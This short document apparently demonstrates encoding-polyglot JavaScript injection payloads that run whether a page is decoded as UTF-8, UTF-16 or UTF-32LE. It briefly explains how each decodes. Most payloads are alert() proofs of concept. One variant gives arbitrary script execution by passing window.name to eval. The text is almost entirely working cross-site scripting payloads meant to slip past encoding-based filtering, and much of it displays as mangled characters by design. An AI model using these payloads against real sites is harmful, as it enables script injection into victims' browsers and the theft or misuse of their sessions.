this is an example of a simple payload that works with both utf-8 and utf-16
why/how?utf-8 > alert(8)|'x=�a�l�e�r�t�(�1�6�)�'utf-16 > 愊敬瑲㠨簩砧=alert(16)
or with arbitrary execution
utf-8 > aa=eval
b='nam\x66'
aa(self[b])|'x=�e�v�a�l�(�n�a�m�e�)�'utf-16 > 慡攽慶੬㵢渧浡硜㘶ਧ慡猨汥学嵢簩砧=eval(name)
and now also, from the most remote corners of the world... utf-16 and utf-32le! (not supported by Firefox)
why/how?utf-16 > '=�a�l�e�r�t�(�3�2�)�/�/�'-alert(16)utf-32le > 𠀧=alert(32)//������
[new!] can we mix them all? yes we can
why/how?utf-8 > '��=���a���l���e���r���t���(���3���2���)���/���/���'-alert(8)//'�-�a�l�e�r�t�(�1�6�)�utf-16 > '=�a�l�e�r�t�(�3�2�)�/�/�ⴧ污牥⡴⤸⼯'-alert(16)utf-32le > 𠀧=alert(32)//���������